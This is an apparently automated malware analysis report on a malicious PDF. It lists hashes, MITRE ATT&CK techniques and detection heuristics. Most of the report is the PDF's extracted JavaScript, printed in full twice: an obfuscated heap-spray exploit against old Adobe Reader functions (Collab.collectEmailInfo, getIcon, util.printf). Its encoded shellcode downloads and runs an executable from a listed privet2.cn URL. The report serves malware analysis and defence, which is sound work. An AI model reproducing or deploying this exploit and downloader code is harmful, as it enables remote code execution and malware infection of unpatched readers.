Malicious PDF — malware analysis report

Static analysis result for SHA-256 064459f019469561…

MALICIOUS

PDF

7.5 KB First seen: 2013-03-02
MD5: 2a22c91b7ac39a520fe269c1d47ff6c0 SHA-1: f59d143c964434c3f747aad05926cd4fcdf8c1c0 SHA-256: 064459f019469561759fc4baae3585a1caf42f3cfdd8c867e62ff3d55739140b
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF contains embedded JavaScript that exploits CVE-2007-5659 via the Collab.collectEmailInfo function, a known technique for client-side exploitation. The JavaScript is obfuscated but ultimately attempts to download and execute a second-stage payload from the URL http://privet2.cn/arend_nt/getexe.php. This indicates a downloader or dropper functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
         var ccYSIeS6nSByNG6S3O4gM = 0x0c0c0c0c;
         var yIYIn0zM1yYdX2vBU2zwC =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB …
       }
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://privet2.cn/arend_nt/getexe.php?spl=pdf_email Referenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexe.php?spl=pdf_prntfReferenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexe.php?spl=pdf_icnReferenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexeReferenced by PDF JavaScript
🗂 Part of campaign: privet2.cn 16 samples

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 6175 bytes
SHA-256: c985964753501b905bab34410e2550e0ddb67c5b3e8eb4d4de73070a13958bfa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 24 of 42 identifiers look randomly generated (e.g. 'n4gJaLy9zBIAPPX8XumrF') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var E8CAWVTfZRiLnzZxwmSJY = new Array();
 var VM4yFhlJ3mH0zRfUvL4N4;
 var lave = eval;
 function NA4y9zlaJJgfMev5PF7CW(SByvfuGjHK0RN8ZNtAgCq, hYVHduWj84zI2uyvBiCVr)
 {
   while(SByvfuGjHK0RN8ZNtAgCq.length * 2 < hYVHduWj84zI2uyvBiCVr)
   {
     SByvfuGjHK0RN8ZNtAgCq += SByvfuGjHK0RN8ZNtAgCq;
   }
   SByvfuGjHK0RN8ZNtAgCq = SByvfuGjHK0RN8ZNtAgCq.substring(0, hYVHduWj84zI2uyvBiCVr / 2);
   return SByvfuGjHK0RN8ZNtAgCq;
 }
 function FtyEGrPw5FIdlZGg71n0z(KAu576mJbdxUcCkUbgYrz)
 {
   if(KAu576mJbdxUcCkUbgYrz == 0)
   {
     var ccYSIeS6nSByNG6S3O4gM = 0x0c0c0c0c;
     var yIYIn0zM1yYdX2vBU2zwC =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(KAu576mJbdxUcCkUbgYrz == 1)
   {
     ccYSIeS6nSByNG6S3O4gM = 0x30303030;
     var yIYIn0zM1yYdX2vBU2zwC =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(KAu576mJbdxUcCkUbgYrz == 2)
   {
     var yIYIn0zM1yYdX2vBU2zwC =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var JJT4mVSqCoOVNgIWfeXdD = 0x400000;
   var BAE7Mi8MeKLynPlJrbWgz = yIYIn0zM1yYdX2vBU2zwC.length * 2;
   var hYVHduWj84zI2uyvBiCVr = JJT4mVSqCoOVNgIWfeXdD - (BAE7Mi8MeKLynPlJrbWgz + 0x38);
   var SByvfuGjHK0RN8ZNtAgCq = unescape("%u9090%u9090");
   SByvfuGjHK0RN8ZNtAgCq = NA4y9zlaJJgfMev5PF7CW(SByvfuGjHK0RN8ZNtAgCq, hYVHduWj84zI2uyvBiCVr);
   var n4gJaLy9zBIAPPX8XumrF = (ccYSIeS6nSByNG6S3O4gM - 0x400000) / JJT4mVSqCoOVNgIWfeXdD;
   for(var RfeWzW9VC9WFoqpApxA1G = 0; RfeWzW9VC9WFoqpApxA1G < n4gJaLy9zBIAPPX8XumrF; RfeWzW9VC9WFoqpApxA1G++)
   {
     E8CAWVTfZRiLnzZxwmSJY[RfeWzW9VC9WFoqpApxA1G] = SByvfuGjHK0RN8ZNtAgCq + yIYIn0zM1yYdX2vBU2zwC;
   }
 }
 function iQgtYDnL647khdjDmEQul()
 {
   var YjbVuQT5RjQrQJQd7li0s = 0;
   var brWC6IRVDCBwngqE0vftL = app.viewerVersion.toString();
   app.clearTimeOut(VM4yFhlJ3mH0zRfUvL4N4);
   if((brWC6IRVDCBwngqE0vftL >= 8 && brWC6IRVDCBwngqE0vftL < 8.102) || brWC6IRVDCBwngqE0vftL < 7.1)
   {
     FtyEGrPw5FIdlZGg71n0z(0);
     var fJexxljfvc9m0LsRmNeyZ = unescape("%u0c0c%u0c0c");
     while(fJexxljfvc9m0LsRmNeyZ.length < 44952) fJexxljfvc9m0LsRmNeyZ += fJexxljfvc9m0LsRmNeyZ;
     var slFRzPNfIiCcNAZ0uF5XO = this;
     var Ogjj8V8mTgNFvpFLCuev8 = Collab;
     slFRzPNfIiCcNAZ0uF5XO["collabStore"] = Ogjj8V8mTgNFvpFLCuev8["collectEmailInfo"](
     {
       subj : "", msg : fJexxljfvc9m0LsRmNeyZ
     }
     );
   }
   if((brWC6IRVDCBwngqE0vftL >= 8.102 && brWC6IRVDCBwngqE0vftL < 8.104) || (brWC6IRVDCBwngqE0vftL >= 9 && brWC6IRVDCBwngqE0vftL < 9.1) || brWC6IRVDCBwngqE0vftL <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         FtyEGrPw5FIdlZGg71n0z(2);
         var YJIqSC7WjUNPE8XjEJDuh = unescape("%09");
         while(YJIqSC7WjUNPE8XjEJDuh.length < 0x4000)
         {
           YJIqSC7WjUNPE8XjEJDuh += YJIqSC7WjUNPE8XjEJDuh;
         }
         YJIqSC7WjUNPE8XjEJDuh = "N." + YJIqSC7WjUNPE8XjEJDuh;
         var UqXiBkdqfl8z4yRF5yzZM = app;
         UqXiBkdqfl8z4yRF5yzZM["doc"]["Collab"]["getIcon"](YJIqSC7WjUNPE8XjEJDuh);
         YjbVuQT5RjQrQJQd7li0s = 1;
       }
       else
       {
         YjbVuQT5RjQrQJQd7li0s = 1;
       }
     }
     catch(e)
     {
       YjbVuQT5RjQrQJQd7li0s = 1;
     }
     if(YjbVuQT5RjQrQJQd7li0s == 1)
     {
       if(brWC6IRVDCBwngqE0vftL == 8.102 || brWC6IRVDCBwngqE0vftL == 7.1)
       {
         FtyEGrPw5FIdlZGg71n0z(1);
         var vnTwWhGkcxDSVveFZVvKc = "12999999999999999999";
         for(wNaMdeKcDg220xXrDITBV = 0; wNaMdeKcDg220xXrDITBV < 276; wNaMdeKcDg220xXrDITBV++)
         {
           vnTwWhGkcxDSVveFZVvKc += "8";
         }
         var KhQbw17rKimiI0LxTxBAz = util;
         KhQbw17rKimiI0LxTxBAz["printf"]("%45000f", vnTwWhGkcxDSVveFZVvKc);
       }
     }
   }
}
 app.BKwkCA3fMXc4yD1yJsJ2e = iQgtYDnL647khdjDmEQul;
 VM4yFhlJ3mH0zRfUvL4N4 = app.setTimeOut("app.BKwkCA3fMXc4yD1yJsJ2e()", 1);
javascript_obj0009_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: 53b3e4c7a38345353f3fa1ae4b7ff52d402e922a3c928c5080347dbe2dec1883
javascript_obj0009_000_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: d3ec852c1d2decd4c16deaf172efa38de6b4ff01d8134aa8e996f13f2df4eb41
javascript_obj0009_000_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 274 bytes
SHA-256: 12ed26cd8dd7e85424451cd7e17e925b4b010481b1a4fd61291904ff3ca0143d
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 6171 bytes
SHA-256: 00dd80aaabb3bf341fe98b1ca27d38bacf134063b725b1a14396de63c7d576c4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 24 of 42 identifiers look randomly generated (e.g. 'n4gJaLy9zBIAPPX8XumrF') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var E8CAWVTfZRiLnzZxwmSJY = new Array();
 var VM4yFhlJ3mH0zRfUvL4N4;
 var lave = eval;
 function NA4y9zlaJJgfMev5PF7CW(SByvfuGjHK0RN8ZNtAgCq, hYVHduWj84zI2uyvBiCVr)
 {
   while(SByvfuGjHK0RN8ZNtAgCq.length * 2 < hYVHduWj84zI2uyvBiCVr)
   {
     SByvfuGjHK0RN8ZNtAgCq += SByvfuGjHK0RN8ZNtAgCq;
   }
   SByvfuGjHK0RN8ZNtAgCq = SByvfuGjHK0RN8ZNtAgCq.substring(0, hYVHduWj84zI2uyvBiCVr / 2);
   return SByvfuGjHK0RN8ZNtAgCq;
 }
 function FtyEGrPw5FIdlZGg71n0z(KAu576mJbdxUcCkUbgYrz)
 {
   if(KAu576mJbdxUcCkUbgYrz == 0)
   {
     var ccYSIeS6nSByNG6S3O4gM = 0x0c0c0c0c;
     var yIYIn0zM1yYdX2vBU2zwC =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(KAu576mJbdxUcCkUbgYrz == 1)
   {
     ccYSIeS6nSByNG6S3O4gM = 0x30303030;
     var yIYIn0zM1yYdX2vBU2zwC =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(KAu576mJbdxUcCkUbgYrz == 2)
   {
     var yIYIn0zM1yYdX2vBU2zwC =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var JJT4mVSqCoOVNgIWfeXdD = 0x400000;
   var BAE7Mi8MeKLynPlJrbWgz = yIYIn0zM1yYdX2vBU2zwC.length * 2;
   var hYVHduWj84zI2uyvBiCVr = JJT4mVSqCoOVNgIWfeXdD - (BAE7Mi8MeKLynPlJrbWgz + 0x38);
   var SByvfuGjHK0RN8ZNtAgCq = unescape("%u9090%u9090");
   SByvfuGjHK0RN8ZNtAgCq = NA4y9zlaJJgfMev5PF7CW(SByvfuGjHK0RN8ZNtAgCq, hYVHduWj84zI2uyvBiCVr);
   var n4gJaLy9zBIAPPX8XumrF = (ccYSIeS6nSByNG6S3O4gM - 0x400000) / JJT4mVSqCoOVNgIWfeXdD;
   for(var RfeWzW9VC9WFoqpApxA1G = 0; RfeWzW9VC9WFoqpApxA1G < n4gJaLy9zBIAPPX8XumrF; RfeWzW9VC9WFoqpApxA1G++)
   {
     E8CAWVTfZRiLnzZxwmSJY[RfeWzW9VC9WFoqpApxA1G] = SByvfuGjHK0RN8ZNtAgCq + yIYIn0zM1yYdX2vBU2zwC;
   }
 }
 function iQgtYDnL647khdjDmEQul()
 {
   var YjbVuQT5RjQrQJQd7li0s = 0;
   var brWC6IRVDCBwngqE0vftL = app.viewerVersion.toString();
   app.clearTimeOut(VM4yFhlJ3mH0zRfUvL4N4);
   if((brWC6IRVDCBwngqE0vftL >= 8 && brWC6IRVDCBwngqE0vftL < 8.102) || brWC6IRVDCBwngqE0vftL < 7.1)
   {
     FtyEGrPw5FIdlZGg71n0z(0);
     var fJexxljfvc9m0LsRmNeyZ = unescape("%u0c0c%u0c0c");
     while(fJexxljfvc9m0LsRmNeyZ.length < 44952) fJexxljfvc9m0LsRmNeyZ += fJexxljfvc9m0LsRmNeyZ;
     var slFRzPNfIiCcNAZ0uF5XO = this;
     var Ogjj8V8mTgNFvpFLCuev8 = Collab;
     slFRzPNfIiCcNAZ0uF5XO["collabStore"] = Ogjj8V8mTgNFvpFLCuev8["collectEmailInfo"](
     {
       subj : "", msg : fJexxljfvc9m0LsRmNeyZ
     }
     );
   }
   if((brWC6IRVDCBwngqE0vftL >= 8.102 && brWC6IRVDCBwngqE0vftL < 8.104) || (brWC6IRVDCBwngqE0vftL >= 9 && brWC6IRVDCBwngqE0vftL < 9.1) || brWC6IRVDCBwngqE0vftL <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         FtyEGrPw5FIdlZGg71n0z(2);
         var YJIqSC7WjUNPE8XjEJDuh = unescape("	");
         while(YJIqSC7WjUNPE8XjEJDuh.length < 0x4000)
         {
           YJIqSC7WjUNPE8XjEJDuh += YJIqSC7WjUNPE8XjEJDuh;
         }
         YJIqSC7WjUNPE8XjEJDuh = "N." + YJIqSC7WjUNPE8XjEJDuh;
         var UqXiBkdqfl8z4yRF5yzZM = app;
         UqXiBkdqfl8z4yRF5yzZM["doc"]["Collab"]["getIcon"](YJIqSC7WjUNPE8XjEJDuh);
         YjbVuQT5RjQrQJQd7li0s = 1;
       }
       else
       {
         YjbVuQT5RjQrQJQd7li0s = 1;
       }
     }
     catch(e)
     {
       YjbVuQT5RjQrQJQd7li0s = 1;
     }
     if(YjbVuQT5RjQrQJQd7li0s == 1)
     {
       if(brWC6IRVDCBwngqE0vftL == 8.102 || brWC6IRVDCBwngqE0vftL == 7.1)
       {
         FtyEGrPw5FIdlZGg71n0z(1);
         var vnTwWhGkcxDSVveFZVvKc = "12999999999999999999";
         for(wNaMdeKcDg220xXrDITBV = 0; wNaMdeKcDg220xXrDITBV < 276; wNaMdeKcDg220xXrDITBV++)
         {
           vnTwWhGkcxDSVveFZVvKc += "8";
         }
         var KhQbw17rKimiI0LxTxBAz = util;
         KhQbw17rKimiI0LxTxBAz["printf"]("E000f", vnTwWhGkcxDSVveFZVvKc);
       }
     }
   }
}
 app.BKwkCA3fMXc4yD1yJsJ2e = iQgtYDnL647khdjDmEQul;
 VM4yFhlJ3mH0zRfUvL4N4 = app.setTimeOut("app.BKwkCA3fMXc4yD1yJsJ2e()", 1);